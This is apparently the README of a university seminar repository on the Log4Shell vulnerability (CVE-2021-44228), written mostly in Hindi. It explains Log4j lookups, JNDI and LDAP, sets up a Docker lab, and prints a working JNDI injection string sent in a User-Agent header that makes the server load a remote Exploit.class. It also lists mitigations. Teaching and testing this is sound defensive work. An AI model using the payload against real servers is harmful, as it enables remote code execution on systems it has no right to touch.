fabioeletto/hka-seminar-log4shellLog4Shell सुरक्षा छेद (CVE-2021-44228) का व्यावहारिक प्रदर्शन
यह रिपॉजिटरी केवल शैक्षिक और प्रदर्शन उद्देश्यों के लिए है, जो एक सुरक्षा-संबंधित सेमिनार कार्य के भाग के रूप में है। इस कोड का उपयोग उत्पादन वातावरण में या स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न करें। इसका निर्माण सुरक्षा जागरूकता बढ़ाने और यह दिखाने के लिए किया गया है कि जब प्रतीत होने वाली हानिरहित सुविधाएँ जैसे लॉगिंग, नाम समाधान और क्लासेस का गतिशील लोडिंग एक साथ संयोजित होती हैं, तो जटिल भेद्यताएँ कैसे उत्पन्न हो सकती हैं।
इस सेमिनार कार्य का उद्देश्य Log4Shell सुरक्षा छिद्र (CVE-2021-44228) की गहरी समझ प्रदान करना है, जो दिसंबर 2021 में ज्ञात हुआ और हाल के वर्षों के सबसे गंभीर सुरक्षा छिद्रों में से एक माना गया। इस कार्य में सैद्धांतिक आधारों को समझाया गया है, साथ ही भेद्यता का एक व्यावहारिक प्रदर्शन भी दिखाया गया है।
Log4Shell सुरक्षा छिद्र के व्यावहारिक चित्रण के लिए, इस रिपॉजिटरी में एक पृथक और कंटेनरीकृत वातावरण स्थापित किया गया है, जो पूर्ण हमले की प्रक्रिया को पुनरुत्पादित रूप से प्रस्तुत करता है। प्रदर्शन तीन प्रमुख घटकों पर आधारित है:
User-Agent हेडर को लॉग करता है, जिसे हमलावर भेद्यता का शोषण करने के लिए हेरफेर कर सकते हैं।Exploit.class) प्रदान करता है। LDAP सर्वर की तरह, यह सर्वर भी हमलावर के नियंत्रण में है।नोट: सेटअप और प्रदर्शन के निष्पादन के बारे में अधिक जानकारी के लिए अनुभाग 4. परियोजना संरचना और सेटअप और 5. परियोजना का डेमो देखें।
Log4Shell Java लाइब्रेरी Log4j में CVE-2021-44228 नामक एक गंभीर सुरक्षा छिद्र का नाम है। यह एक हमलावर को न्यूनतम प्रयास के साथ किसी दूरस्थ सर्वर पर मनमाना कोड निष्पादित करने (Remote Code Execution, संक्षेप में RCE) की अनुमति देता है।
यह भेद्यता Log4j के संस्करणों 2.0 से 2.14.1 को प्रभावित करती है और इतनी गंभीर है कि इसे कई सुरक्षा एजेंसियों, जिनमें BSI (Bundesamt für Sicherheit in der Informationstechnik) शामिल है, द्वारा उच्चतम जोखिम स्तर पर रखा गया है।
Log4Shell इसलिए विशेष रूप से खतरनाक है, क्योंकि ...
वास्तविक कारण Log4j की एक कार्यक्षमता में निहित है जो लुकअप के माध्यम से लॉग संदेशों में गतिशील सामग्री लोड करने की अनुमति देती है। JNDI (Java Naming and Directory Interface) और प्रोटोकॉल LDAP (Lightweight Directory Access Protocol) के साथ संयोजन में, यह दूरस्थ दुर्भावनापूर्ण Java क्लासेस को लोड और निष्पादित करने की अनुमति देता है।
भेद्यता की खोज और प्रकाशन ने दुनिया भर में सुरक्षा की लहर पैदा कर दी। कई प्रणालियों को तुरंत पैच या बंद करना पड़ा। बाद के समय में, अन्य संबंधित भेद्यताएँ (जैसे CVE-2021-45046) ज्ञात हुईं, जो दर्शाती हैं कि समस्या कितनी गहरी और खतरनाक थी।
निम्नलिखित में, शामिल प्रौद्योगिकियों और उनकी अंतःक्रिया को विस्तार से समझाया गया है, ताकि भेद्यता की गहरी समझ विकसित की जा सके।
Log4j Apache द्वारा बनाई गई एक लाइब्रेरी है जो Java अनुप्रयोगों में घटनाओं को लॉग करने के लिए है। लॉगिंग सॉफ्टवेयर विकास में सिस्टम की निगरानी या त्रुटियों का विश्लेषण करने के लिए एक केंद्रीय उपकरण है। Log4j Java पारिस्थितिकी तंत्र में सबसे प्रसिद्ध और सबसे अधिक उपयोग किए जाने वाले लॉगिंग फ्रेमवर्क में से एक है, और इसका उपयोग छोटे अनुप्रयोगों से लेकर बड़े एंटरप्राइज़ सिस्टम तक किया जाता है।
जब कोई प्रोग्राम चल रहा होता है, तो उदाहरण के लिए निम्नलिखित घटनाएँ होती हैं:
इन घटनाओं को लॉग्स के साथ दस्तावेज़ित किया जा सकता है, आमतौर पर कंसोल, फ़ाइलों या नेटवर्क प्रोटोकॉल के माध्यम से केंद्रीय लॉग सर्वर पर पाठ आउटपुट के रूप में। सार्थक लॉगिंग के माध्यम से यह पता लगाया जा सकता है कि एप्लिकेशन ने कब क्या किया।
Log4j लॉग संदेशों के उत्पादन और प्रसंस्करण के लिए एक लचीला, अत्यधिक कॉन्फ़िगरेबल बुनियादी ढाँचा प्रदान करता है। केंद्रीय कार्यों में शामिल हैं:
DEBUG, INFO, WARN, ERROR), जिनसे यह नियंत्रित किया जा सकता है कि कितने विस्तार से लॉग किया जाए।सेमिनार कार्य के लिए प्रासंगिक अन्य सुविधाओं पर बाद के अनुभागों में चर्चा की जाएगी, विशेष रूप से प्लेसहोल्डर कार्यक्षमता और लुकअप कार्यक्षमता।
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
इस सरल उदाहरण में, एक Logger इंस्टेंस बनाया जाता है या यदि वह पहले से मौजूद है तो उसे प्राप्त किया जाता है। उसके बाद, `INFO` स्तर पर एक लॉग संदेश आउटपुट किया जाता है। Log4j कॉन्फ़िगरेशन के आधार पर संदेश को फ़ॉर्मेट और आउटपुट करता है। एक उदाहरण कॉन्फ़िगरेशन इस प्रकार दिख सकता है:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
यह कॉन्फ़िगरेशन एक Appender परिभाषित करता है जो लॉग संदेशों को प्रारूप Datum Uhrzeit Log-Level Loggername - Nachricht में कंसोल पर आउटपुट करता है। यह Appender फिर रूट-लॉगर को असाइन किया जाता है, जो INFO स्तर या उससे ऊपर के सभी लॉग संदेशों को संसाधित करता है।
आउटपुट कुछ इस तरह दिख सकता है:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
आइए अब Log4j की उन विशिष्ट विशेषताओं पर आते हैं जो Log4Shell सुरक्षा कमजोरी के लिए सबसे अधिक प्रासंगिक हैं।
#### लॉग संदेशों में प्लेसहोल्डर
Log4j की एक विशेष रूप से उपयोगी विशेषता लॉग संदेशों में **प्लेसहोल्डर** का समर्थन है। इस प्रकार रनटाइम पर गतिशील सामग्री को लॉग आउटपुट में डाला जा सकता है:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
इसके लिए रनटाइम पर {} को वेरिएबल username के वास्तविक मान से बदल दिया जाता है।
इससे निम्नलिखित आउटपुट प्राप्त होता है:```text
"Benutzer angemeldet: Alice"
#### गतिशील अभिव्यक्तियाँ (तथाकथित लुकअप)
सरल प्लेसहोल्डर्स के अलावा, Log4j लॉग संदेश में सीधे जटिल अभिव्यक्तियों को हल करने की क्षमता भी प्रदान करता है। इस सुविधा को **Lookup** कहा जाता है: यह रनटाइम पर मानों को गतिशील रूप से सम्मिलित करने की अनुमति देता है (जैसे, पर्यावरण चर, सिस्टम जानकारी या कॉन्फ़िगरेशन मान)।
ऐसे गतिशील अभिव्यक्तियों के उदाहरण:
- `${env:HOME}` - पर्यावरण चर `HOME` का मान लौटाता है। Linux / macOS पर यह `/home/username` होगा।
- `${docker:...}` - उस Docker कंटेनर के बारे में जानकारी प्रदान कर सकता है जिसमें एप्लिकेशन चल रहा है।
- `${jndi:...}` - आंतरिक या बाहरी संसाधनों को लोड करने के लिए एक JNDI लुकअप करता है।
अगले खंड में JNDI कार्यक्षमता पर अधिक विस्तार से चर्चा की जाएगी, क्योंकि यह Log4Shell सुरक्षा भेद्यता में एक केंद्रीय भूमिका निभाती है।
### 3.2 JNDI - लुकअप तंत्र
**JNDI** का अर्थ _Java Naming and Directory Interface_ है और यह एक मानकीकृत Java API है जो **नाम और निर्देशिका सेवाओं** तक पहुंचने की अनुमति देता है। JNDI के साथ, Java अनुप्रयोग संसाधनों को सीधे तकनीकी पथों के बजाय प्रतीकात्मक नामों के माध्यम से संदर्भित कर सकते हैं।
JNDI का एक क्लासिक उपयोग डेटाबेस कनेक्शनों को खोजना है, जिसे आप यहाँ देख सकते हैं:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
पहले एक InitialContext बनाया जाता है, जो JNDI का उपयोग करके नाम समाधान के लिए प्रवेश बिंदु प्रस्तुत करता है। फिर lookup विधि के माध्यम से एक संसाधन खोजा जाता है। इस मामले में, एक डेटा स्रोत (DataSource) जिसका प्रतीकात्मक नाम java:/comp/env/jdbc/myDB है।
जावा एप्लिकेशन JNDI के प्रोटोकॉल-स्वतंत्र इंटरफ़ेस का उपयोग करता है, जिसमें lookup विधि वाली InitialContext जैसी कक्षाएं शामिल हैं। API हमेशा समान होता है, चाहे LDAP, DNS, आदि का उपयोग किया जाए। नामिंग मैनेजर मध्यस्थ के रूप में कार्य करता है और उपयुक्त सेवा प्रदाता का चयन करता है, जो वास्तविक संचार को संभालता है। JNDI SPI (सेवा प्रदाता इंटरफ़ेस) कक्षाओं का एक संग्रह है जो विभिन्न प्रोटोकॉल के लिए JNDI कार्यक्षमता को लागू करता है। हमारे मामले में, प्रासंगिक सेवा प्रदाता LDAP है।
अगले भाग में, हम सेवा प्रदाता LDAP को अधिक बारीकी से देखेंगे।
LDAP का अर्थ लाइटवेट डायरेक्ट्री एक्सेस प्रोटोकॉल है और यह एक मानकीकृत नेटवर्क प्रोटोकॉल है जो तथाकथित निर्देशिका सेवाओं तक पहुँच को सक्षम बनाता है। इसे मूल रूप से X.500 के एक हल्के विकल्प के रूप में विकसित किया गया था और आज यह कई कॉर्पोरेट नेटवर्कों में एक मानक है, विशेष रूप से केंद्रीय उपयोगकर्ता और अधिकार प्रबंधन के लिए।
एक निर्देशिका सेवा एक संरचित डेटाबेस है जो जानकारी को पदानुक्रमित रूप में संग्रहीत करती है। रिलेशनल डेटाबेस के विपरीत, एक निर्देशिका:
जैसा कि चित्र में देखा जा सकता है, एक LDAP निर्देशिका एक वृक्ष जैसी संरचना में व्यवस्थित होती है। रूट स्तर पर डोमेन घटक (dc) स्थित होते हैं। उनके नीचे संगठनात्मक इकाइयाँ (ou) हो सकती हैं, जो आगे के विभाजनों का प्रतिनिधित्व करती हैं, जैसे Users। व्यक्तिगत उपयोगकर्ताओं या ऑब्जेक्ट्स के लिए सामान्य नाम (cn) होते हैं, जो विशिष्ट प्रविष्टि की पहचान करते हैं और विभिन्न गुण रख सकते हैं।
अर्थ:
dn: विशिष्ट नाम (Distinguished Name)dc: डोमेन घटकou: संगठनात्मक इकाईcn: सामान्य नामअब देखते हैं कि LDAP को कैसे संबोधित किया जाता है और Log4Shell सुरक्षा छिद्र में इसकी क्या भूमिका है।
LDAP में बाहरी कक्षाओं के संदर्भ भी संग्रहीत किए जा सकते हैं, जिन्हें आवश्यकता पड़ने पर लोड किया जा सकता है। यह javaClassName और javaCodeBase जैसे विशेष गुणों के माध्यम से होता है। ये गुण एक URL की ओर इशारा कर सकते हैं, जहाँ से एक जावा क्लास लोड की जानी चाहिए।
निम्नलिखित URL के साथ, उदाहरण के लिए, हम एक ऐसी वस्तु क्वेरी कर सकते हैं जो एक जावा क्लास को संदर्भित करता है:``` ldap://ldap-server:1389/Exploit
जैसा कि चित्र में देखा जा सकता है, LDAP प्रविष्टि में एक विशेषता `javaClassName` है जो `Exploit` वर्ग को संदर्भित करती है। विशेषता `javaCodeBase` के साथ वह URL निर्दिष्ट किया जाता है जहाँ से वर्ग लोड किया जाना है। इस मामले में, यह पते `http://payload-server/` पर एक HTTP सर्वर है, जो `Exploit.class` प्रदान करता है।
अब हमने सभी तकनीकी घटकों का विस्तार से अध्ययन किया है। अगले खंड में, Log4Shell सुरक्षा छिद्र के सामान्य प्रवाह का वर्णन किया जाएगा, ताकि यह समझा जा सके कि ये प्रौद्योगिकियां कैसे एक साथ काम करती हैं और इससे कौन सा आक्रमण वेक्टर उत्पन्न होता है।
### 3.4 Log4Shell का सामान्य प्रवाह
तीनों शामिल प्रौद्योगिकियों, **Log4j** को लॉगिंग फ्रेमवर्क के रूप में, **JNDI** को डायरेक्टरी सेवा के इंटरफ़ेस के रूप में और **LDAP** को ठोस डायरेक्टरी सेवा के रूप में, अलग-अलग देखने के बाद, अब यह स्पष्ट हो जाता है कि यदि कोई सुरक्षा उपाय नहीं किए गए तो उनका संयोजन कितना खतरनाक हो सकता है।
Log4j संस्करण 2.14.1 तक, तथाकथित **Lookups** को सीधे लॉग संदेशों में मूल्यांकित करना संभव था। इसके माध्यम से, LDAP के ऊपर JNDI क्वेरीज को शामिल किया जा सकता था, जो फिर किसी दूरस्थ सर्वर से मनमानी Java क्लासेज को लोड और निष्पादित कर सकती थीं, बिना इस कार्यक्षमता को स्पष्ट रूप से सक्रिय किए।
#### संयोजन में एक ठोस परिदृश्य:
अब हम अभी सीखी गई बातों को एक ठोस उदाहरण में लागू करते हैं। पहले कदम के रूप में, हम निम्नलिखित अभिव्यक्ति के साथ एक JNDI-लुकअप प्रारंभ करते हैं:```text
${jndi:...}
अब हम LDAP सेवा प्रदाता का उपयोग करते हुए एक दूरस्थ Java क्लास लोड करते हैं ldap://ldap-server:1389/Exploit। साथ में निम्नलिखित स्ट्रिंग बनती है:```text
${jndi:ldap://ldap-server:1389/Exploit}
अब केवल एक हमलावर को यह सुनिश्चित करना है कि यह स्ट्रिंग किसी लॉग संदेश में पहुँचे, उदाहरण के लिए किसी HTTP हेडर में हेरफेर करके।
जैसा कि चित्र में देखा जा सकता है, बाईं ओर हमलावर है जो अपना स्वयं का LDAP सर्वर और पेलोड सर्वर होस्ट करता है। दाईं ओर Log4j संस्करण 2.14.1 के साथ कमजोर एप्लिकेशन है। हमले का क्रम इस प्रकार है:
1. एक हमलावर एप्लिकेशन को एक HTTP अनुरोध भेजता है और ऊपर दिखाई गई हेरफेर की गई स्ट्रिंग को उदाहरण के लिए `User-Agent` हेडर में दर्ज करता है: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent-हेडर को लॉग करता है: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j ${jndi:...} का पता लगाता है और निर्दिष्ट प्रोटोकॉल ldap के माध्यम से स्वचालित रूप से JNDI-Lookup करता है
अब LDAP सेवा प्रदाता को निर्दिष्ट URL ldap://ldap-server:1389/Exploit को हल करने के लिए कहा जाता है।
LDAP सर्वर निम्नलिखित सर्वर पर स्थित एक बाहरी Java क्लास (Exploit.class) के संदर्भ के साथ उत्तर देता है: ```
http://payload-server:8000/Exploit.class
एप्लिकेशन Exploit.class को लोड करने के लिए पेलोड सर्वर को एक अनुरोध भेजता है।
पेलोड सर्वर Java क्लास Exploit.class के साथ उत्तर देता है। इसके बाद, इस क्लास को बिना किसी सत्यापन के निष्पादित किया जाता है। इस प्रकार, हमलावर के पास उस कोड पर पूर्ण नियंत्रण होता है जो कमजोर सर्वर पर निष्पादित होता है।
क्योंकि:
Log4j में डायनेमिक लुकअप, JNDI द्वारा लचीली नाम रिज़ॉल्यूशन, और LDAP प्रोटोकॉल का संयोजन एक अप्रत्याशित हमले की सतह बनाता है। मूल रूप से एक शक्तिशाली कॉन्फ़िगरेशन सुविधा के रूप में डिज़ाइन की गई यह चीज़, रिमोट कोड एक्ज़ीक्यूशन का प्रवेश द्वार बन गई।
अगले अनुभाग में, कमजोरी को स्थानीय रूप से निष्पादित करने के लिए डेमो की परियोजना संरचना और सेटअप का वर्णन किया गया है।
परियोजना संरचना तीन केंद्रीय घटकों को दर्शाती है:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...
### 4.2 आवश्यकताएँ
Log4Shell डेमो को स्थानीय रूप से चलाने के लिए निम्नलिखित आवश्यकताएँ हैं:
#### Docker & Docker Compose
संपूर्ण बुनियादी ढाँचा कंटेनरों पर आधारित है। Docker यह सुनिश्चित करता है कि प्रत्येक घटक (vulnerable-app, ldap-server, payload-server) एक पृथक वातावरण में चलता है।
- **Docker**:
स्थापना [https://www.docker.com/get-started](https://www.docker.com/get-started) पर
- **Docker Compose** (Docker Desktop के साथ पहले से शामिल है)
वैकल्पिक रूप से [https://docs.docker.com/compose/](https://docs.docker.com/compose/) पर स्थापित किया जा सकता है
#### cURL
कमांड लाइन के माध्यम से हमला करने के लिए `curl` टूल का उपयोग किया जा सकता है:
- Linux/macOS पर पहले से स्थापित
- Windows पर [https://curl.se/](https://curl.se/) के माध्यम से या Git Bash में शामिल
> **नोट:** एप्लिकेशन और इसमें शामिल सभी सर्वर आपके स्थानीय कंप्यूटर पर चलते हैं और केवल एक पृथक Docker नेटवर्क (`log4shell-network`) के भीतर संचार करते हैं। बाहरी सर्वरों से किसी कनेक्शन की आवश्यकता नहीं है या नहीं बनाया जाता है।
### 4.3 सेटअप
इस अनुभाग में बताया गया है कि वातावरण को स्थानीय रूप से कैसे सेटअप और प्रारंभ किया जाए।
#### चरण 1: रिपॉजिटरी क्लोन करें```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
Docker Compose के साथ, सभी आवश्यक सेवाओं को एक ही कमांड से शुरू किया जा सकता है:```bash docker-compose up --build
`docker-compose up --build` का परिणाम:
- `vulnerable_app`, `ldap_server` और `payload_server` के लिए इमेजेज बनाई जाती हैं
- तीनों सेवाएं शुरू हो जाती हैं
- वे एक साझा आंतरिक Docker नेटवर्क (`log4shell-network`) के माध्यम से संवाद करते हैं
सफल प्रारंभ के बाद, एप्लिकेशन निम्नलिखित एंडपॉइंट के माध्यम से पहुंच योग्य है:```
http://localhost:8080
लॉग आउटपुट और घटनाएँ कंसोल में लाइव दिखाई देती हैं। कंटेनर तब तक चलते हैं जब तक टर्मिनल विंडो खुली है (या प्रक्रिया पृष्ठभूमि में चल रही है)।
नोट: सुनिश्चित करें कि टकराव से बचने के लिए पोर्ट 8080, 1389 या 8000 पर कोई अन्य सेवा नहीं चल रही है।
यदि आप कंटेनर बंद करना चाहते हैं, तो आप
docker-compose downके साथ ऐसा कर सकते हैं। इससे सभी चल रहे कंटेनर रुक जाएंगे और हटा दिए जाएंगे, लेकिन इमेजेज़ बनी रहेंगी।
इस अनुभाग में दिखाया गया है कि प्रदान किए गए डेमो वातावरण में Log4Shell भेद्यता को कैसे लक्षित किया जा सकता है। इसमें पहले से शुरू किए गए सभी घटक एक साथ काम करते हैं:
User-Agent हेडर को लॉग करता हैExploit.class) प्रदान करता हैडेमो चलाने के लिए, आपको दो कंसोल विंडो की आवश्यकता है। पहले, एक टर्मिनल में docker-compose up --build के साथ वातावरण शुरू करें, यदि आपने पहले से ऐसा नहीं किया है। दूसरे टर्मिनल में, फिर निम्नलिखित चरणों का पालन करें:
सत्यापित करें कि फ़ाइल अभी तक मौजूद नहीं है:
चूंकि यह एक डेमो है, एक्सप्लॉइट के रूप में केवल एक खाली फ़ाइल बनाई जाती है, ताकि सफल निष्पादन का प्रदर्शन किया जा सके। आप इसे payload-server/Exploit.java क्लास में देख सकते हैं। यह जाँचने के लिए कि फ़ाइल अभी तक मौजूद नहीं है, निम्नलिखित कमांड चलाएँ: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
यदि फ़ाइल मौजूद नहीं है, तो No such file or directory जैसी त्रुटि संदेश दिखाई देना चाहिए। इससे पुष्टि होती है कि एक्सप्लॉइट अभी तक निष्पादित नहीं हुआ है।
पेलोड का स्पष्टीकरण:
${jndi:...}: Log4j इस अभिव्यक्ति को स्वचालित रूप से व्याख्या करता है और एक JNDI-लुकअप करता है।ldap://ldap-server:1389: Docker नेटवर्क में चल रहे LDAP सर्वर से जुड़ता है।/Exploit: LDAP प्रविष्टि का नाम जो दुर्भावनापूर्ण वर्ग की ओर इशारा करता है।http://localhost:8080: उस कमजोर एप्लिकेशन का URL जिसे आप Log4j भेद्यता को ट्रिगर करने के लिए अनुरोध भेजते हैं।पर्दे के पीछे क्या होता है?
User-Agent हेडर को लॉग करना चाहता हैUser-Agent हेडर का मूल्यांकन करता है और LDAP के माध्यम से एक JNDI-लुकअप करता हैExploit.class की ओर इशारा करता है, जिसे पेलोड सर्वर प्रदान करता हैनोट: जैसा कि पहले उल्लेख किया गया है, इस डेमो में सफल निष्पादन प्रदर्शित करने के लिए केवल एक खाली फ़ाइल बनाई जाती है। वास्तविक हमले के परिदृश्यों में, कोई भी कोड निष्पादित किया जा सकता है!
हमले के परिणाम की जाँच करें
अब आप पुनः जाँच सकते हैं कि कंटेनर में /tmp/remote_code_execution फ़ाइल बनाई गई या नहीं: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
यदि हमला सफल रहा, तो आपको निम्नलिखित आउटपुट दिखाई देगा: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
Mit nur einer einzelnen manipulierten Logzeile wird ein vollständiger Remote-Code-Ausführungsprozess ausgelöst, genau das macht Log4Shell so gefährlich. Diese Demo zeigt, wie das Zusammenspiel von **Log4j**, **JNDI** und **LDAP** zur Ausnutzung führen kann.
## 6. सुरक्षा उपाय
Log4Shell सुरक्षा छिद्र ने दिखा दिया है कि आधुनिक अनुप्रयोगों को किस प्रकार प्रतीत होने वाली सामान्य सुविधाओं के माध्यम से गहराई से समझौता किया जा सकता है। सिस्टमों को ऐसे हमलों से प्रभावी रूप से सुरक्षित करने के लिए, निम्नलिखित उपायों को लागू किया जाना चाहिए:
- **Log4j संस्करण को अपडेट करें (कम से कम 2.17.1)**
सबसे महत्वपूर्ण उपाय **Log4j संस्करण ≥ 2.17.1 में अपडेट** करना है, क्योंकि केवल इस संस्करण से ही सभी ज्ञात कमजोरियों (DoS और कॉन्फ़िगरेशन एक्सप्लॉइट सहित) को ठीक किया गया है। पिछले संस्करण अभी भी असुरक्षित हैं और इनका उपयोग नहीं किया जाना चाहिए!
- **JNDI-लुकअप को निष्क्रिय करें**
यदि पूर्ण अपडेट संभव नहीं है, तो **JNDI-लुकअप को निष्क्रिय** किया जाना चाहिए। यह `log4j2.properties` फ़ाइल में निम्नलिखित कॉन्फ़िगरेशन सेट करके प्राप्त किया जा सकता है: ```properties
log4j2.formatMsgNoLookups=true
यह सेटिंग Log4j को लॉग संदेशों में JNDI लुकअप का मूल्यांकन करने से रोकती है। इससे हमला की सतह काफी कम हो जाती है। हालांकि, यह केवल एक अस्थायी समाधान है, क्योंकि अन्य कमजोरियाँ (DoS, कॉन्फ़िगरेशन शोषण) अभी भी बनी रह सकती हैं।
इनपुट को मान्य करें
सभी उपयोगकर्ता इनपुट को लॉग संदेशों में उपयोग करने से पहले मान्य और शुद्ध किया जाना चाहिए। विशेष रूप से ${jndi:...} जैसे गतिशील अभिव्यक्तियों को सीधे स्वीकार नहीं किया जाना चाहिए।
बाहर जाने वाले नेटवर्क कनेक्शन को प्रतिबंधित करें
इस शोषण का एक केंद्रीय हिस्सा बाहरी सर्वरों तक निर्बाध पहुँच था, जिन्हें हमलावर नियंत्रित करता था। सिस्टम को इस प्रकार कॉन्फ़िगर किया जाना चाहिए कि वे मनमाने बाहरी लक्ष्यों तक नहीं पहुँच सकें, जैसे फ़ायरवॉल या नेटवर्क नीतियों के माध्यम से। विशेष रूप से, एप्लिकेशन से अज्ञात LDAP लक्ष्यों तक पहुँच को रोका जाना चाहिए।
Log4Shell सुरक्षा छिद्र स्पष्ट रूप से दर्शाता है कि न केवल अपने कोड की सुरक्षा पर निर्भर रहना, बल्कि उपयोग की जाने वाली लाइब्रेरीज़ और फ्रेमवर्क को सावधानीपूर्वक चुनना और समझना कितना महत्वपूर्ण है। इस मामले में, एक प्रतीत होने वाली हानिरहित लॉगिंग लाइब्रेरी (Log4j) ने Remote-Code-Execution कमजोरी को जन्म दिया। इससे पता चलता है कि निर्भरताएँ भी शोषण का प्रवेश द्वार बन सकती हैं। हमें हमेशा यह सोचना चाहिए कि क्या हमें वास्तव में किसी बाहरी लाइब्रेरी की आवश्यकता है, या क्या किसी फ़ंक्शन को अतिरिक्त निर्भरताओं के बिना भी लागू किया जा सकता है।
एक और महत्वपूर्ण बिंदु छिपी हुई जटिलता का विषय है। लॉग संदेश के अंदर ${env:HOME} जैसे फ़ंक्शन हानिरहित लगते हैं, लेकिन पृष्ठभूमि में जटिल तंत्र (जैसे गतिशील लुकअप) छिपे होते हैं। इससे बिना ध्यान दिए खतरनाक व्यवहार घुस सकता है। इसके बजाय, स्पष्ट और पारदर्शी समाधान का उपयोग करना चाहिए, जैसे System.getenv("HOME"), ताकि नियंत्रण बना रहे और यह समझा जा सके कि क्या हो रहा है।
इसके अलावा, एक सामान्य लेकिन अक्सर उपेक्षित सिद्धांत लागू होता है: उपयोगकर्ता इनपुट को बिना जाँचे कभी संसाधित न करें। विशेष रूप से लॉगिंग, डेटाबेस एक्सेस या सिस्टम कमांड जैसे सुरक्षा-संबंधित कार्यों में, इनपुट को मान्य और शुद्ध किया जाना चाहिए।
अंत में, यह घटना दर्शाती है कि JNDI लुकअप जैसी शक्तिशाली सुविधाओं को डिफ़ॉल्ट रूप से सक्रिय करना कितना खतरनाक हो सकता है। यदि Log4j में यह सुविधा डिफ़ॉल्ट रूप से सक्रिय नहीं होती, तो केवल सिस्टम का एक छोटा सा हिस्सा प्रभावित होता।
सबसे महत्वपूर्ण निष्कर्ष: